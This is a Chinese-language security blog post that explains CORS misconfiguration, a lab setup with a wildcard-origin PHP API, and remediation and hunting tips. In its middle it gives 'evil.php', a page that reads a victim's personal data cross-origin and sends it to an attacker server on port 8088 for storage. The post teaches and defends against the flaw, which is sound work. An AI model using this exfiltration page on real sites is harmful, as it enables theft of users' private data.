CORS跨域资源共享漏洞

原理

其实大体上原理和jsonp攻击差不多,也是利用了浏览器跨域获取信息。在jsonp中我们说过,在js中发起http请求,比如用XMLHttpRequest 或 fetch等,默认只能获取同源的域中的资源,无法跨域获取资源。但如果服务器本身同意了跨域请求,那也可以在前端js中跨域请求资源。那么服务器如何告知浏览器,它支持跨域请求呢?这里就需要引入CORS(跨域资源共享)这个概念了。

CORS原理

我们先来回顾一下CORS跨域获取资源的过程:

CORS定义了两种跨域请求:简单请求和非简单请求。简单跨域请求就是使用设定的请求方式请求数据,而非简单跨域请求则是在使用设定的请求方式请求数据之前,先发送一个OPTIONS预检请求,验证请求源是否为服务端允许的源,只有预检通过后才会再发送一次请求用于数据传输。

CORS运行机制:第一步,在浏览器发起请求时,自动在请求头中添加了Origin字段,浏览器定义了js不可以修改请求头中的Origin字段,确保了在浏览器中发起请求的Origin确实为用户真实的源地址,而非伪造的地址。第二步,服务器通过验证Origin字段来判断请求是否被允许,从而实现浏览器的跨域访问。

CORS相关名词解释

服务端需要在响应头中包含一些CORS相关的字段来告诉浏览器,该服务器使用的CORS策略是怎么样的。

Access-Control-Allow-Origin:该字段是必须的。设置了哪些来源才可以跨域访问服务器上的资源。

Access-Control-Allow-Credentials:该字段可选,值是一个布尔值,表示是否允许发送Cookie。默认情况下,Cookie不包含在CORS请求中,当设置为True时,表示服务器允许Cookie可以包含在请求中一起发送给服务器。这个值也只能设置为True,如果服务器不允许浏览器发送Cookie,直接删除该字段即可。

Access-Control-Expose-Headers:该字段可选。CORS请求时,AJAX对象只能从响应头中拿到6个基本字段:Cache-Control,Content-Language,Content-Type,Expires,Last-Modified,Pragma。如果想要拿到其他字段,就必须在Access-Control-Expose-Headers中指定。

Access-Control-Request-Methods:一般为POST,GET,OPTIONS

利用方式

依旧是一个正常的服务端,有一个返回个人信息的api接口,只不过这次在响应头中增加了Access-Control-Allow-Origin:*,接受任意来源的跨域请求。代码如下

1
2
3
4
5
<?php
header('Access-Control-Allow-Origin:*');
header('Content-type: application/json');
print '({"id":"1","name":"alice","email":"alice@qq.com"})';
?>

正常的页面的前端,直接用ajax跨域请求这个api即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>info api</title>
</head>
<body></body>
<script>
fetch('http://192.168.0.104:81/user.php')
.then(function(res){
return (res.text());
})
.then(function (text) {
document.write('请求成功:',text);
})
.catch(function (error) {
console.log('请求错误:',error);
});
</script>
</html>

image-20220525180351988

可以看到请求的来源和服务端不在同一个域,通过服务器返回响应头中的Access-Control-Allow-Origin: *实现了跨域请求。

接下去我要实现一个恶意页面evil.php,让受害者访问,第11行恶意页面先以用户的名义访问了正常页面的获取个人信息的接口,由于这个接口允许任何来源的跨域跨域请求,所以给恶意页面所在8088端口的域正常返回了信息。在第13行,拿到用户的个人信息后,恶意页面将该数据上传,服务器上就拿到了用户的个人信息。由第1行中的file参数接收并存储在cors.txt文件中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php file_put_contents('cors.txt', $_GET['file']);?>

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Evil</title>
</head>
<body></body>
<script>
fetch('http://192.168.0.104:81/user.php')
.then((res)=>{return res.text()})
.then((text)=>{fetch('http://192.168.0.104:8088/evil.php?file=' + text)})
.catch(function (error) {console.log('请求错误:',error);});
</script>
</html>

image-20220525183039947

image-20220525183021922

image-20220525183055935

通过这三个请求可以看到完整的攻击路径。

防御方案

  1. 不要配置Access-Control-Allow-Origin为通配符“*”,而且更重要的是,要严格效验来自请求数据包中的”Origin” 的值。当收到跨域请求的时候,要检查”Origin” 的值是否是一个可信的源, 还要检查是否为 null
  2. 避免使用Access-Control-Allow-Credentials: true
  3. 减少 Access-Control- Allow-Methods 所允许的方法

漏洞挖掘方式

  1. 通过js爬虫或者流量分析的方式,特别是涉及到敏感信息的接口,比如获取个人信息的接口。检查响应头中的Access-Control-Allow-Origin的值是否为通配符“*”
  2. 有些服务端的代码会这样写
1
2
3
4
5
6
7
<?php 
if(@$_SERVER['HTTP_ORIGIN']){
header('Access-Control-Allow-Origin:'.$_SERVER['HTTP_ORIGIN'])
}else{
header('Access-Control-Allow-Origin:*');
}
?>

不管Origin中的域名是什么,服务端都接收这些跨域请求。这和设置为“*”是一样的效果。在挖掘中可以尝试发送一个和正常域名不相同的域名,存在CORS漏洞的域名为aaa.com,我们可以设置一个值为bbb.com的Origin,如果服务端的Access-Control-Allow-Origin值也返回了bbb.com或者*,那么需要特别注意,很有可能存在CORS漏洞,值得进一步验证。

参考

JSONP与CORS漏洞挖掘


CORS跨域资源共享漏洞
https://wanf3ng.github.io/2022/05/25/CORS跨域资源共享漏洞/
作者
wanf3ng
发布于
2022年5月25日
许可协议